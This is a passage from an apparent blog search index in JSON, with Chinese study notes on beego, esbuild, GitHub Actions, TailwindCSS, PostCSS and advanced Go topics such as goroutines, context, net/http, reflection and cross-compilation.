访问http://127.0.0.1:8080/?name=hallo，views\\index.tpl的模板中的{{.Website}}被设置为hallo\n在controllers/default.go看到，其定义了一个MainController结构体，该结构体继承了beego.Controller的全部方法（其中方法包括Get，Post等等方法）\nModel模型\n在bee new中并没有Model实例演示，但是bee api有，而且controller控制器可完成一些简单逻辑，只有当逻辑需要复用时才抽象成Model模型\nView视图\n在controllers/default.go看到c.TplName = \u0026ldquo;index.tpl\u0026rdquo;，这个语句就是设置模板文件，该模板支持tpl和html文件，beego使用了golang默认的模板引擎\n在views/index.tpl中可以看到这个\n\u0026lt;div class=\u0026quot;author\u0026quot;\u0026gt; Official website: \u0026lt;a href=\u0026quot;http://{{.Website}}\u0026quot;\u0026gt;{{.Website}}\u0026lt;/a\u0026gt; / Contact me: \u0026lt;a class=\u0026quot;email\u0026quot; href=\u0026quot;mailto:{{.","title":"beego应用框架的简单使用"},{"content":"ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css\nESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件\n注意：esbuild并不对ts文件进行类型检查工作\n安装\nnpm install esbuild\n或者\nyarn add esbuild\n打包\n.\\node_modules.bin\\esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle\n或者\nnpx esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle\n或者package.json\n\u0026ldquo;build\u0026rdquo;: \u0026ldquo;esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle\u0026rdquo;\nnpm run build\n或者\nyarn build\n例子（app.jsx）\nimport React from 'react' import ReactDOM from 'react-dom' const App = () =\u0026gt; { return ( \u0026lt;div\u0026gt; \u0026lt;h1\u0026gt;Hallo, Esbuild!\u0026lt;/h1\u0026gt; \u0026lt;/div\u0026gt; ) } ReactDOM.render( \u0026lt;App /\u0026gt;, document.getElementById(\u0026quot;app\u0026quot;) ) index.html\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;script src=\u0026quot;./build/index.js\u0026quot;\u0026gt;\u0026lt;/script\u0026gt; 我本地打包只花64ms就打包好了\n使用source map功能\nnpx esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle \u0026ndash;sourcemap\n使用代码压缩功能\u0026ndash;minify\nnpx esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle \u0026ndash;minify\n指定打包目标环境\nnpx esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle \u0026ndash;target=es2020,node12\n注意：如果将ES6+语法编译成ES5语法是不被支持的，但是可以将ES5语法编译成ES6+的语法或者ES6语法升级为更先进的语法，也可以将ES6+语法降到ES6语法，就是不能降到ES5（估计这是为啥vite选择这个作为开发环境打包工具，而不是生产环境打包工具的原因吧，只有开发环境下，默认认为是现代浏览器（node）环境下工作的）\n指定输出目标\nnpx esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle \u0026ndash;target=es2020,node12 \u0026ndash;platform=node\n\u0026ndash;platform有3个值，分别是browser，node，neutral\n默认情况下使用browser值，会将打包的代码放到IIFE（立即执行函数）中，并且对package.json依赖做出修改，会使用对目标友好的插件或者包来代替原来的\n设置为node时，打包格式是cjs格式（CommonJS），会将其他风格转换为cjs格式\n设置为neutral时，打包格式为esm格式\n指定不进行打包构建的模块\nnpx esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle \u0026ndash;platform=node \u0026ndash;external:react\nesbuild.config.js，api调用文件\nconst postCssPlugin = require('@deanc/esbuild-plugin-postcss') const autoprefixer = require('autoprefixer') const esbuildConig = () =\u0026gt; require('esbuild').buildSync({ entryPoints: ['src/app.jsx'], bundle: true, target: ['es2020','node12'], external: ['react'], loader: {'.jpg':'dataurl','.js':'jsx'}, platform: 'node', outfile: 'build/index.js', plugins: [ postCssPlugin({ plugins: [autoprefixer] }) ], }) esbuildConig() 通过执行node ./esbuild.config.js，来调用ESbuild API快速打包 当然也是可以使用npm script来设置\n\u0026quot;scripts\u0026quot;: { \u0026quot;build\u0026quot;: \u0026quot;node ./esbuild.config.js\u0026quot; } npm run build\n或者\nyarn build\n添加图片支持（通过转换成base64的方法来引用）\nnpx esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle \u0026ndash;loader:.jpg=dataurl\n添加tsx支持（可以把tsx文件转换为普通的js文件）\nnpx esbuild app.tsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle \u0026ndash;loader:.js=jsx\nesbuild社区插件库：https://github.com/esbuild/community-plugins\n","permalink":"https://chenjunlinabc.github.io/posts/132/","summary":"ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css\nESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件\n注意：esbuild并不对ts文件进行类型检查工作\n安装\nnpm install esbuild\n或者\nyarn add esbuild\n打包\n.\\node_modules.bin\\esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle\n或者\nnpx esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle\n或者package.json\n\u0026ldquo;build\u0026rdquo;: \u0026ldquo;esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle\u0026rdquo;\nnpm run build\n或者\nyarn build\n例子（app.jsx）\nimport React from 'react' import ReactDOM from 'react-dom' const App = () =\u0026gt; { return ( \u0026lt;div\u0026gt; \u0026lt;h1\u0026gt;Hallo, Esbuild!\u0026lt;/h1\u0026gt; \u0026lt;/div\u0026gt; ) } ReactDOM.render( \u0026lt;App /\u0026gt;, document.getElementById(\u0026quot;app\u0026quot;) ) index.html\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;script src=\u0026quot;./build/index.js\u0026quot;\u0026gt;\u0026lt;/script\u0026gt; 我本地打包只花64ms就打包好了\n使用source map功能","title":"简单使用ESbuild打包工具"},{"content":"CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)\nGitHub Actions是GitHub提供的持续集成服务\nGitHub Actions官方文档：https://docs.github.com/en/actions\nworkflow：工作流程，指一次持续集成的流程，由一个job或者多个job组成 Events：事件，触发流程的钩子（在github中事件为检测仓库特定活动的钩子，例如pull，当事件被触发则自动执行工作流程） Job：任务，任务是工作流程的主体 Steps：步骤，每个Job可以包含一个或多个Step Actions: 行为，每个Step包含一个或多个Action Runners: 执行环境，工作流程运行时的服务端，每一个执行环境可以运行一个任务\nworkflow工作流程通过编写workflow文件来描述，workflow文件要使用YAML语言编写，github支持多个workflow（当github发现.github/workflows/目录下有.yml文件时就会执行该文件）\n在仓库的.github/workflows/目录下创建test.yml，其中要配置字段\nname：workflow名称，如果省略默认为当前workflow的文件名\non：指定触发workflow的条件，一般为事件触发（比如说push）\njobs：每一项任务都需要定义个job_id，job中的name为该任务的描述，needs为指定当前任务的运行顺序（依赖关系），runs-on为指定运行时需要的虚拟机环境（这个字段必须填）\n目前github支持的虚拟机操作系统有ubuntu，windows，macOS，而且github提供的虚拟机是免费使用的\n这里举个例子（github官方的）\nname: GitHub Actions Demo on: [push] jobs: Explore-GitHub-Actions: runs-on: ubuntu-latest steps: - run: echo \u0026quot; The job was automatically triggered by a ${{ github.event_name }} event.\u0026quot; - run: echo \u0026quot; This job is now running on a ${{ runner.os }} server hosted by GitHub!\u0026quot; - run: echo \u0026quot; The name of your branch is ${{ github.ref }} and your repository is ${{ github.repository }}.\u0026quot; - name: Check out repository code uses: actions/checkout@v2 - run: echo \u0026quot; The ${{ github.repository }} repository has been cloned to the runner.\u0026quot; - run: echo \u0026quot; The workflow is now ready to test your code on the runner.\u0026quot; - name: List files in the repository run: | ls ${{ github.workspace }} - run: echo \u0026quot; This job's status is ${{ job.status }}.\u0026quot; ","permalink":"https://chenjunlinabc.github.io/posts/131/","summary":"CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)\nGitHub Actions是GitHub提供的持续集成服务\nGitHub Actions官方文档：https://docs.github.com/en/actions\nworkflow：工作流程，指一次持续集成的流程，由一个job或者多个job组成 Events：事件，触发流程的钩子（在github中事件为检测仓库特定活动的钩子，例如pull，当事件被触发则自动执行工作流程） Job：任务，任务是工作流程的主体 Steps：步骤，每个Job可以包含一个或多个Step Actions: 行为，每个Step包含一个或多个Action Runners: 执行环境，工作流程运行时的服务端，每一个执行环境可以运行一个任务\nworkflow工作流程通过编写workflow文件来描述，workflow文件要使用YAML语言编写，github支持多个workflow（当github发现.github/workflows/目录下有.yml文件时就会执行该文件）\n在仓库的.github/workflows/目录下创建test.yml，其中要配置字段\nname：workflow名称，如果省略默认为当前workflow的文件名\non：指定触发workflow的条件，一般为事件触发（比如说push）\njobs：每一项任务都需要定义个job_id，job中的name为该任务的描述，needs为指定当前任务的运行顺序（依赖关系），runs-on为指定运行时需要的虚拟机环境（这个字段必须填）\n目前github支持的虚拟机操作系统有ubuntu，windows，macOS，而且github提供的虚拟机是免费使用的\n这里举个例子（github官方的）\nname: GitHub Actions Demo on: [push] jobs: Explore-GitHub-Actions: runs-on: ubuntu-latest steps: - run: echo \u0026quot; The job was automatically triggered by a ${{ github.event_name }} event.\u0026quot; - run: echo \u0026quot; This job is now running on a ${{ runner.os }} server hosted by GitHub!","title":"简单使用GitHub Actions来实现CI/CD"},{"content":"TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的\n安装\nnpm install tailwindcss\n初始化tailwind.config.js\nnpx tailwindcss init\n在tailwind.config.js中content属性，表示着项目的html或者js文件\ncontent: [ './src/**/*.{html,js}' ], 如果没有配置content属性，会警告\nwarn - The content option in your Tailwind CSS configuration is missing or empty. warn - Configure your content sources or your generated CSS will be missing styles. warn - https://tailwindcss.com/docs/content-configuration\n创建一个css文件配置tailwind三大组件（base，components.utilities）\n@tailwind base; @tailwind components; @tailwind utilities; 如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要\n@import \u0026quot;tailwindcss/base\u0026quot;; @import \u0026quot;tailwindcss/components\u0026quot;; @import \u0026quot;tailwindcss/utilities\u0026quot;; 也可以将css导入到js中\nimport \u0026quot;tailwindcss/tailwind.css\u0026quot; tailwind编译\nnpx tailwindcss -i ./src/index.css -o ./dist/main.css\n如果使用的是postcss\npostcss ./src/index.css -o ./dist/main.css\n例如:\n\u0026lt;h1 class=\u0026quot;text-gray-900\u0026quot;\u0026gt; hallo word \u0026lt;/h1\u0026gt; 编译后的结果为\n.text-gray-900 { --tw-text-opacity: 1; color: rgb(17 24 39 / var(--tw-text-opacity)); } 具体样式根据tailwindcss官方文档为准，https://tailwindcss.com/docs/\n当然也允许自定义，直接配置tailwind.config.js文件就好了（theme属性）\nVisual Studio Code插件Tailwind CSS IntelliSense，让tailwindcss使用更舒适\n","permalink":"https://chenjunlinabc.github.io/posts/130/","summary":"TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的\n安装\nnpm install tailwindcss\n初始化tailwind.config.js\nnpx tailwindcss init\n在tailwind.config.js中content属性，表示着项目的html或者js文件\ncontent: [ './src/**/*.{html,js}' ], 如果没有配置content属性，会警告\nwarn - The content option in your Tailwind CSS configuration is missing or empty. warn - Configure your content sources or your generated CSS will be missing styles. warn - https://tailwindcss.com/docs/content-configuration\n创建一个css文件配置tailwind三大组件（base，components.utilities）\n@tailwind base; @tailwind components; @tailwind utilities; 如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要\n@import \u0026quot;tailwindcss/base\u0026quot;; @import \u0026quot;tailwindcss/components\u0026quot;; @import \u0026quot;tailwindcss/utilities\u0026quot;; 也可以将css导入到js中\nimport \u0026quot;tailwindcss/tailwind.css\u0026quot; tailwind编译\nnpx tailwindcss -i ./src/index.css -o ./dist/main.css","title":"简单使用TailwindCSS"},{"content":"PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）\nPostCSS is a tool for transforming CSS with JS plugins. These plugins can support variables and mixins, transpile future CSS syntax, inline images, and more.\n插件查询：https://www.postcss.parts/\n常用插件：https://github.com/postcss/postcss/blob/main/docs/plugins.md\n安装\nnpm install postcss postcss-loader\n或者安装到项目中\nnpm install postcss postcss-loader \u0026ndash;save-dev\nPostCSS不单独使用，可搭配Gulp或者webpack使用（这里使用的是webpack）\nwebpack.config.js\nmodule.exports = { module: { rules: [ { test: /\\.css$/, use: [\u0026quot;style-loader\u0026quot;, \u0026quot;css-loader\u0026quot;, \u0026quot;postcss-loader\u0026quot;] } ] } }; postcss.config.js\nmodule.exports = { plugins: [插件1,插件2] }; Autoprefixer（自动添加浏览器前缀）\nnpm install autoprefixer \u0026ndash;save-dev\nconst autoprefixer = require(\u0026quot;autoprefixer\u0026quot;) // 导入插件 module.exports = { plugins: [autoprefixer] // 加载插件 } 执行打包命令npm run build\npostcss-preset-env（支持现代css语法）\nnpm install postcss-preset-env \u0026ndash;save-dev\nconst postcssPresetEnv = require(\u0026ldquo;postcss-preset-env\u0026rdquo;)\ncss-modules（css模块化）\nnpm install postcss-modules \u0026ndash;save-dev\nconst postcssModules = require(\u0026ldquo;postcss-modules\u0026rdquo;)\nstylelint（css代码检查）\nnpm install stylelint stylelint-config-standard \u0026ndash;save-dev\nconst StyleLintPlugin = require(\u0026ldquo;stylelint-webpack-plugin\u0026rdquo;)\n","permalink":"https://chenjunlinabc.github.io/posts/129/","summary":"PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）\nPostCSS is a tool for transforming CSS with JS plugins. These plugins can support variables and mixins, transpile future CSS syntax, inline images, and more.\n插件查询：https://www.postcss.parts/\n常用插件：https://github.com/postcss/postcss/blob/main/docs/plugins.md\n安装\nnpm install postcss postcss-loader\n或者安装到项目中\nnpm install postcss postcss-loader \u0026ndash;save-dev\nPostCSS不单独使用，可搭配Gulp或者webpack使用（这里使用的是webpack）\nwebpack.config.js\nmodule.exports = { module: { rules: [ { test: /\\.css$/, use: [\u0026quot;style-loader\u0026quot;, \u0026quot;css-loader\u0026quot;, \u0026quot;postcss-loader\u0026quot;] } ] } }; postcss.config.js\nmodule.exports = { plugins: [插件1,插件2] }; Autoprefixer（自动添加浏览器前缀）\nnpm install autoprefixer \u0026ndash;save-dev","title":"PostCSS学习笔记"},{"content":"这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html\n并发\ngo的并发靠goroutine，goroutine由go运行时调度，线程由操作系统调度，go还提供channel来给多个goroutine之间通行，goroutine和channel是go并发模式CSP（Communicating Sequential Process，通讯顺序进程）的实现基础，goroutine的调度在用户态下完成，不涉及内核态（比如内存的分配和释放，都是用户态维护的内存池，成本远比调度OS线程要低的多，可轻松做到成千上万个goroutine）\n内核态：程序执行操作系统层级的程序时\n用户态：程序执行用户自己写的程序时\n常见的并发模型有七种，分别是通讯顺序进程（CSP），数据级并行，函数式编程，线程与锁，Clojure，actor，Lambda架构\nCSP（Communicating Sequential Process，通讯顺序进程）：思想就是将两个并发执行的实体使用channel管道来连接起来，全部信息通过channel管道来传输，而且数据的传输是根据顺序来发送和接收的，CSP理论由托尼·霍尔提出\n小知识：托尼·霍尔（C.A.R.Hoare），图灵奖获得者，快速排序算法（Quick Sort）也出自这位之手\ngo的并发编程不需要像java那样维护线程池，go在语言层面内置了调度和上下文切换机制，只需要定义任务，让go运行时来智能合理的调度goroutine的任务给每个CPU，也不需要额外写什么进程，线程，协程，只需要写一个函数，开启一个goroutine就是可以实现并发了\nGo运行时会给main()函数建立一个默认的goroutine，当main()结束时，其他在main()执行的goroutine都会被结束（不管有没有执行完成）\ngoroutine的栈开始时为2kb（OS线程一般为2mb），而且栈不是固定的，可以增大和缩小，大小限制可以达到1GB\nGPM调度器是Go对CSP并发模型的实现，是Go自己开发的一套调度系统（GPM分别表示为Goroutine，Processor，Machine）\nGoroutine：go关键字创建的执行体，对应则结构体g，这个结构体存储着goroutine的堆栈信息\nProcessor：负责管理goroutine队列，存储则当前goroutine运行的上下文，会给自己管理的goroutine队列进行调度，例如：暂停goroutine，执行goroutine，当自己的队列处理完毕，将去全局队列中获取，全局队列处理完毕，还可以去其他P的队列去获取，用来处理G和M的通信\nMachine：G运行时对操作系统内核线程的虚拟化，映射内核线程（groutine就是被放到这个内核线程的映射虚拟化M中执行）\n简单来说就是P管理一组G在M上执行，当一个G阻塞在一个M时，Go运行时创建一个新的M，负责管理阻塞的那个G的P将其他G挂载在新的M上，G阻塞完成时或者G死掉了，回收旧的M\nP的个数通过runtime.GOMAXPROCS设置（最大256）（1.5版本后默认为计算机物理线程数）\nGPM调度器使用被称为m:n调度的技术（复用或者调度m个goroutine到n个OS线程）（可用runtime.GOMAXPROCS来控制OS线程的数量）\n因为底层OS线程的切换机制是根据时间轮询来切换的，因此goroutine的切换机制也是根据时间轮询来切换\nruntime.Gosched()：让当前任务让出线程占用，给其他任务执行\nruntime.Goexit()：终止当前任务\n通道是可被垃圾回收机制回收的，所以只有在告诉接收数据方，所有数据都已发送完毕了才需要关闭通道\n对已经关闭的管道发送数据，导致触发panic，同样关闭已经关闭的管道也会导致\n对已经关闭并且没有值的管道接收数据，将得到对应类型的零值，接收一个已经被关闭的管道，会一直接收数据，直到管道空了\n无缓冲区管道（阻塞管道）：要求管道的发送方和接收方交互是同步的，管道容量等于0的就是无缓冲管道，如果不能满足同步，将导致阻塞，要接收者准备完毕，发送者才能进行工作\n有缓冲区管道（非阻塞管道）：可以异步发送数据接收数据，只要缓冲区存在没有使用的空间，通信就是无阻塞的，可先发送数据再接收（因为有缓冲区），而且缓冲区管道可以保存数据（不需要取完数据）\n任务池：goroutine池，当goroutine任务完成，不kill该goroutine，而是获取下一个任务，并且继续执行该任务\n注意：go内置的map并不是并发安全的，只有使用channel或者sync.Map才是并发安全的\n锁可以避免并发冲突，但是锁对系统性能影响很大，原子操作可以减少这种消耗\n原子操作：指的是某个操作在执行中，其他协程不会看到没有执行完毕的结果，对于其他协程来说，只有原子操作完成了或者没开始，就好像原子一样，不被分割\n在多核中，某个核心读取某个数据是，会因为CPU缓存的原因，可能读取到的值不是最新的，在Go中，原子操作主要依赖于sync/atomic包\nsync/atomic包将原子操作封装成了Go的函数，sync/atomic包提供了底层的原子级内存操作\n因为Go不支持泛型，所以封装的函数很多（每个类型都有自己的原子操作函数，这里只写int64一个类型）\n增或减（被操作值增大或减少，只适合int和uint类型增减）：func AddInt64(addr *int64, delta int64) (new int64)\n载入（读取，避免读取过程，其他协程进行修改操作）：func LoadInt64(addr *int64) (val int64)\n存储（写入，避免写入过程，其他协程进行读取操作）：func StoreInt64(addr *int64, val int64)\n交换（和CAS不同，交换只赋值old值，不管原来的值）：func SwapInt64(addr *int64, new int64) (old int64)\n比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)\n使用方法：atomic.原子操作函数名\ngoroutine的特性：非阻塞（不等待），调度器不能保证多个goroutine的执行顺序，全部goroutine都是平等的（不存在父子关系）\n固定worker工作池（用固定数目的goroutine来作为工作线程池，提升并发能力），工作通道，结果通道，worker任务管道\n从worker任务管道获取任务到工作管道，处理完毕的结果传递到结果通道\ncontext标准库（go1.7版本以及之后版本），用来跟踪goroutine调用树（因为goroutine不存在父子关系，无法靠语法来通知）\nContext接口：所有的context对象都要实现该接口，一般用来当作context对象的参数类型，该接口定义了4个需要实现的方法，分别是Deadline()，Done()，Err()，Value()\nDeadline()方法：需要返回当前Context被取消的时间（完成工作截止时间） Done()方法：需要返回一个channel，这个管道会在当前工作完成或者上下文被取消之后关闭 Err()方法：返回当前Context结束的原因 Value()方法：会从Context中返回键对应的值\ncanceler接口：规定了通知取消的Context对象要实现的接口\nempty Context结构：实现了Context接口，但是不具备任何功能（该结构体的方法是空方法），该结构被用来当做Context对象树的根（root节点），模拟一个真的goroutine树\ncancelCtx类型：实现了Context接口的具体类型，并且同时实现了canceler接口，不但具备退出通知功能，还能将退出通知告诉整个children节点\ntimerCtx类型：实现了Context接口的具体类型，并且封装了cancelCtx类型实例，具备一个deadline变量，用来实现定时退出通知\nvalueCtx类型：实现了Context接口的具体类型，并且封装了Context接口实例，具备一个k/v的存储变量，用来传递通知\ngo内置的net/http包提供了http客户端和服务端的实现，性能媲美nginx（每一个请求都有一个对应的goroutine去处理，并发性能好）\nhttp服务端\nfunc h(w http.ResponseWriter, r *http.Request) { fmt.Println(r.RemoteAddr, \u0026quot;连接成功\u0026quot;) fmt.Println(r.Method, r.URL.Path, r.Body, r.Header) str := \u0026quot;hallo word\u0026quot; w.Write([]byte(str)) } func main() { http.HandleFunc(\u0026quot;/test\u0026quot;, h) http.ListenAndServe(\u0026quot;127.0.0.1:8080\u0026quot;, nil) } 访问http://127.0.0.1:8080/test，就可以看到hallo word了，控制台还是输出一些有关请求的信息\nhttp客户端（get请求，这个东西也可以用来做go爬虫）\nres, err := http.Get(\u0026quot;https://xiaochenabc123.test.com\u0026quot;) if err != nil { fmt.Println(err) } body, err := ioutil.ReadAll(res.Body) if err != nil { fmt.Println(err) } fmt.Println(string(body)) get参数通过r.URL.Query()进行识别\npost请求\nresp, err := http.Post(\u0026quot;https://xiaochenabc123.test.com\u0026quot;, \u0026quot;application/x-www-form-urlencoded\u0026quot;, strings.NewReader(\u0026quot;test=hallo word\u0026quot;)) if err != nil { fmt.Println(err) } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) fmt.Println(string(body)) 日志标准库log（log包是go内置的）\nlog.Println() 普通日志 log.Fatalln() 会触发fatal的日志，写入日志后调用os.Exit(1) log.Panicln() 会触发panic的日志，写入日志后panic\nlog会打印日志信息的日期，时间，以及日志信息\n可通过log.SetOutput()存储日志到文件中\n日志等级（从小到大，默认输出Debug及其以上基本的日志）：\nlog.Trace（基本输出），log.Debug（调试），log.Info（重要），log.Warning（警告），log.Error（错误），CRIT（严重危险）, ALRT（严重警告），log.Fatal（严重紧急）\ngo test测试工具\n在包目录中，所有以_test.go为后缀名的文件，都认为是go test的一部分，不会被go build编译到可执行文件中\n在这些以_test.go为后缀名的文件中的函数，分为3种类型，单元测试函数，基准测试函数和示例函数\n单元测试函数：函数名前缀以Test开头的，用来测试程序的逻辑是否正常\n基准测试函数：函数名前缀以Benchmark开头的，测试函数的性能\n示例函数：函数名前缀以Example开头的，提供示例\ngo test会遍历这些符合规则的函数，并且生成临时的main包来调用测试函数，执行，返回测试结果，最后清理临时测试文件\n测试函数必须要导入testing包，例如：func TestData(t *testing.T){}\n基准测试函数：func BenchmarkData(b *testing.B)\n示例函数：func ExampleData()\ngo变量如果在声明时没有指定初始值，那么该变量初始值为该变量的类型的零值\n:=声明方式只能出现在函数中（由go自动判断类型）\ngo提供自动垃圾回收（Garbage Collector）机制，不需要关注变量的内存管理，go使用逃逸分析(Escape Analysis)技术\ngo会为变量在两个地方分配内存空间，这两个地方分别是全局的堆(heap)空间和每个goroutine的栈(stack)空间，因为go是自动管理内存空间的，不需要关心这些，但是栈内存和堆内存在性能差别很大\n如果分配到栈中，那么当函数执行完毕后自动回收，如果是分配到堆中，会在函数执行完毕后某个时间点进行垃圾回收，而且在栈上分配内存或者回收内存花销都很低，只需要PUSH（将数据PUSH到栈空间）和POP（释放空间）两个CPU指令，因此只是将数据PUSH到内存的时间，效率和内存的I/O成正比\n如果是堆中，因为go语言垃圾回收用的是标记清除算法（GC，垃圾回收）（标记要查找存活的对象，清除要遍历堆的全部对象，回收没有标记的对象）（题外知识：JavaScript垃圾回收就是用的这个标记清除算法）\n逃逸分析(Escape Analysis)：由编译器决定变量是分配到栈空间还是堆空间，当变量的作用域在函数内部，那么该变量是分配到栈空间上，反之则分配在堆空间，也就是说当变量不能随着函数结束而回收时分配在堆空间（指针逃逸），另外空接口在编译阶段难确定其参数的类型，也会发生逃逸，闭包也会逃逸\n另外当栈空间不足也会发生逃逸（因为栈溢出），栈空间被操作系统所限制大小（当栈空间不足时，发生栈溢出）\n利用逃逸分析原理提升性能：一般情况下，占用大内存的变量应该使用传指针（堆空间，虽然GC性能没有栈空间那么好，但是传指针只复制指针地址，不对值的拷贝），小内存的变量用传值（栈空间，可获得更好的性能）\n反射：指程序在执行过程中，可以访问，监测和修改本身状态和行为的能力\nGo语言提供了一种机制在运行时更新变量和检查它们的值，调用它们的方法，但是在编译时并不知道这些变量的具体类型，这称为反射机制\nGo的反射基础是接口和类型系统，借助接口自动创建的数据结构实现，反射依赖于interface类型，反射的实现靠reflect标准库\nGo语言类型分为2大类，static type和concrete type，其中static type是int，string这些在编码时能看到的类型，concrete type是runtime系统才能看见的类型（类型断言依赖于concrete type）\n因为Go语言是静态语言，在编译阶段已经被确定了类型，使用interface类型的变量有一个pair，pair被用来记录了实际变量的值和类型，并且这个变量有2个指针，一个指向concrete type，另一个指向实际值\nreflect.TypeOf()：该函数的参数是一个空接口类型，返回值为一个type接口类型，返回一个type的接口变量，通过接口抽象出来的方法访问具体类型的信息（用来获取反射对象pair的type）\nreflect.ValueOf()：该函数的参数是一个空接口类型，返回值为一个Value类型的变量（用来获取pair的value对象），\nreflect.Kind()方法：该方法没有参赛，返回值是字符串类型（用来获取具体类型struct）\n例如：\ntype Testint int64 var num Testint = 666 fmt.Println(\u0026quot;type: \u0026quot;, reflect.TypeOf(num)) fmt.Println(\u0026quot;value: \u0026quot;, reflect.ValueOf(num)) fmt.Println(\u0026quot;kind: \u0026quot;, reflect.TypeOf(num).Kind()) Go 交叉编译（在一个平台上生成另一个平台的可执行程序）（Mac/Linux/Windows下）\nWindows下编译Mac,Linux\nLinux\nSET CGO_ENABLED=0 SET GOOS=linux SET GOARCH=amd64 go build main.go\nMac\nSET CGO_ENABLED=0 SET GOOS=darwin SET GOARCH=amd64 go build main.go\nLinux下编译Mac,Windows\nWindows\nCGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go\nMac\nCGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build main.go\nMac下编译Linux,Windows\nLinux\nCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go\nWindows\nCGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go\n其中CGO_ENABLED=0来控制go build是否使用CGO编译器，1为使用CGO编译器，GOOS表示编译成什么平台的（linux/windows/darwin/freebsd）,GOARCH表示编译成什么平台的体系架构（386/amd64/arm，32位，64位，ARM）\n注意：CGO是Go代码中调用C代码交叉编译，但是交叉编译不支持CGO，因此如果存在C代码是不能编译的，需要禁用CGO\ndep包管理工具\n命令行参数解析（依赖于内置flag包）\n导入flag包\nimport flag\n定义参数\npass := flag.String(\u0026quot;pass\u0026quot;, \u0026quot;123\u0026quot;, \u0026quot;密码\u0026quot;) 可以看到flag.Type方法接收3个参数，分别是flag名，默认值，提示\nflag支持Int，Int64，Uint，Uint64，Float，Float64，String，Bool，Duration（时间间隔）等类型\n还有一种定义参数的方式\nvar pass string flag.StringVar(\u0026amp;pass, \u0026quot;pass\u0026quot;, \u0026quot;123\u0026quot;, \u0026quot;密码\u0026quot;) 定义完毕参数后，使用flag.Parse()解析，命令行中指定pass，pass的数据将会保存在pass变量中\nflag其他常用函数\n返回命令行参数后（未定义的参数）的其他参数 flag.Args()\n返回命令行参数后（未定义的参数）的其他参数个数 flag.NArg()\n返回命令行参数（定义的）的个数 flag.NFlag()\n例如：\nfunc main() { var pass string flag.StringVar(\u0026amp;pass, \u0026quot;pass\u0026quot;, \u0026quot;123\u0026quot;, \u0026quot;密码\u0026quot;) flag.Parse() fmt.Println(pass) fmt.Println(flag.Args()) fmt.Println(flag.NArg()) fmt.Println(flag.NFlag()) } ./test -pass hallo\n可使用-help参数查看参数提示\n","permalink":"https://chenjunlinabc.github.io/posts/128/","summary":"这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html\n并发\ngo的并发靠goroutine，goroutine由go运行时调度，线程由操作系统调度，go还提供channel来给多个goroutine之间通行，goroutine和channel是go并发模式CSP（Communicating Sequential Process，通讯顺序进程）的实现基础，goroutine的调度在用户态下完成，不涉及内核态（比如内存的分配和释放，都是用户态维护的内存池，成本远比调度OS线程要低的多，可轻松做到成千上万个goroutine）\n内核态：程序执行操作系统层级的程序时\n用户态：程序执行用户自己写的程序时\n常见的并发模型有七种，分别是通讯顺序进程（CSP），数据级并行，函数式编程，线程与锁，Clojure，actor，Lambda架构\nCSP（Communicating Sequential Process，通讯顺序进程）：思想就是将两个并发执行的实体使用channel管道来连接起来，全部信息通过channel管道来传输，而且数据的传输是根据顺序来发送和接收的，CSP理论由托尼·霍尔提出\n小知识：托尼·霍尔（C.A.R.Hoare），图灵奖获得者，快速排序算法（Quick 